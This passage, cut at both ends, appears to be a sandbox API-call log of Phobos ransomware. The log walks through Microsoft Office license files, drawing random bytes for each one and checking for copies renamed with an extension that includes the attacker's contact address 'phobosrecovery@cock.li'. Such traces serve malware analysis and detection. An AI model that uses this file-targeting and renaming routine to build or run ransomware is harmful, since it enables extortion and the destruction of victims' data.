hTemplateFile=0x0) returned 0xffffffff [0153.367] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.368] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11596) returned 1 [0153.368] CloseHandle (hObject=0x574) returned 1 [0153.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-oob.xrm-ms")) returned 0x220 [0153.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.368] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.369] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19941) returned 1 [0153.369] CloseHandle (hObject=0x574) returned 1 [0153.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-phn.xrm-ms")) returned 0x220 [0153.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.369] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.370] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10647) returned 1 [0153.370] CloseHandle (hObject=0x574) returned 1 [0153.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-pl.xrm-ms")) returned 0x220 [0153.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.371] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.371] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24303) returned 1 [0153.371] CloseHandle (hObject=0x574) returned 1 [0153.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ppd.xrm-ms")) returned 0x220 [0153.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.372] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.372] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11596) returned 1 [0153.372] CloseHandle (hObject=0x574) returned 1 [0153.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-oob.xrm-ms")) returned 0x220 [0153.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.373] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.373] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19941) returned 1 [0153.373] CloseHandle (hObject=0x574) returned 1 [0153.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-phn.xrm-ms")) returned 0x220 [0153.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.378] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.379] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10635) returned 1 [0153.379] CloseHandle (hObject=0x574) returned 1 [0153.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-pl.xrm-ms")) returned 0x220 [0153.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.379] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.380] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24300) returned 1 [0153.380] CloseHandle (hObject=0x574) returned 1 [0153.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ppd.xrm-ms")) returned 0x220 [0153.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.381] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.381] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11584) returned 1 [0153.381] CloseHandle (hObject=0x574) returned 1 [0153.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.382] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.382] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19929) returned 1 [0153.382] CloseHandle (hObject=0x574) returned 1 [0153.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.383] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.383] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11147) returned 1 [0153.383] CloseHandle (hObject=0x574) returned 1 [0153.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-pl.xrm-ms")) returned 0x220 [0153.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.383] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.384] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24423) returned 1 [0153.384] CloseHandle (hObject=0x574) returned 1 [0153.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ppd.xrm-ms")) returned 0x220 [0153.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.384] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.385] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11596) returned 1 [0153.385] CloseHandle (hObject=0x574) returned 1 [0153.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ul-oob.xrm-ms")) returned 0x220 [0153.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.386] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.386] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11151) returned 1 [0153.386] CloseHandle (hObject=0x574) returned 1 [0153.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-pl.xrm-ms")) returned 0x220 [0153.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.387] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.387] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24424) returned 1 [0153.387] CloseHandle (hObject=0x574) returned 1 [0153.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ppd.xrm-ms")) returned 0x220 [0153.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.388] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.388] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11600) returned 1 [0153.388] CloseHandle (hObject=0x574) returned 1 [0153.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 